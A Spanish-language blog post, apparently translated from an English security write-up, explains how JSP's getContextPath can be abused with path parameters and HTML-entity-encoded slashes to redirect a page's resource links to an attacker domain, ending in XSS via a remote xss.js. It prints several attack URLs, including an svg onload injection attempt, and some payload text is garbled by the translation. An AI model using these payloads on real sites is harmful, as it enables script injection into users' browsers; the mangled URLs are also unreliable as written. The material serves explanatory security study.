JSP ContextPath Link Manipulación - XSS

Esta publicación trata sobre cómo manipular enlaces de recursos de elementos HTML (script, img, link, etc.) cuando se usa el  método getContextPath para obtener la ruta base de los recursos. Con la capacidad de manipular enlaces, puede hacer XSS, Inyección CSS, etc.

Básicamente vamos a usar parámetros de ruta para manipular la ruta de contexto de modo que los enlaces apunten al dominio del atacante. Hay un buen blog que habla sobre problemas similares:  https://superevr.com/blog/2011/three-semicolon-vulnerabilities

Sin embargo, esta publicación trata más sobre la manipulación de la ruta de contexto para secuestrar enlaces de recursos de elementos HTML Así que echemos un vistazo a una página JSP simple ( test.jsp )

Ref:  https://www.roseindia.net/jsp/request-getcontextpath.shtml

Esta página solo carga algunos recursos como script, image, css y listo. No toma ninguna entrada directa del usuario, pero está utilizando el valor devuelto por r equest.getContextPath () como ruta base al enlace de recursos.

¿Qué podemos hacer aquí?

Intentemos controlar la ruta base mediante el uso de parámetros de ruta:

 http://127.0.0.1:8080/;pathParameter/contextPathExample/test.jsp

Como puede ver, podemos tener un poco de control sobre la ruta base (de los enlaces), pero no es realmente útil en este momento a menos que podamos manipular el dominio de los enlaces.

Ahora podría estar pensando si podríamos salir de comillas dobles e inyectar una nueva etiqueta como:
 http://127.0.0.1:8080/;pathParameter"><svg onload = alert ()> / contextPathExample / test.jsp

Lamentablemente ganó no funciona porque los caracteres como <,>, "codifican URL como puede ver a continuación.


Entonces, ¿qué podemos hacer?

Como no podemos inyectar código HTML, nuestro objetivo ahora es encontrar una forma de manipular el dominio de los enlaces.

Todos saben que también podemos proporcionar URL de recursos sin protocolo, por ejemplo <img src = // example.com/1.jpeg> , aquí el navegador tomará el protocolo de la URL de la página y considerará example.com como dominio e intentará buscar el 1.jpeg del dominio example.com. Intentemos hacer lo mismo:

 http://127.0.0.1:8080//;@exampl.com/contextPathExample/test.jsp


Parece que se eliminan barras diagonales adicionales. Si intentamos con barras hacia atrás, el servidor arroja un error. Entonces esta idea también falló.

Pero aquí hay algo interesante sobre el  método getContextPath , no codifica en URL el carácter " & ". Por lo tanto, simplemente podemos codificar el carácter de barra diagonal en la entidad de caracteres HTML como & sol; y luego podemos manipular el dominio de enlaces como:

 http: // 127.0.0.1:8080//rakeshmane.com/xss.js#/..;/..;/contextPathExample/test.jsp

Aquí src , action , etc. son los atributos y el navegador decodifica el valor (Entidades HTML) de los atributos automáticamente antes de buscar el enlace, por lo tanto  & sol; se convierte en  / y & num; se convierte en  # y el enlace final se convierte en:  //rakeshmane.com/xss.js. ¡Y bum! Secuestramos todos los enlaces de todos los elementos HTML como script, link, form, img, etc. Solo, por ejemplo, inyectamos el archivo "xss.js" en la fuente del elemento script y obtuvimos XSS fácil. Eso es

Grupo de Telegram: https://t.me/hackingteamelrinconoscuro

Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber

Canal Vimeo: https://vimeo.com/403136547?activityReferer=1

Red Social Twitter: https://twitter.com/HackingTeam1?s=09

Pagina Web: https://elrincondehackingteam.blogspot.com/

Aceptamos Donaciones: http://paypal.me/HackingTeamFull

Comentarios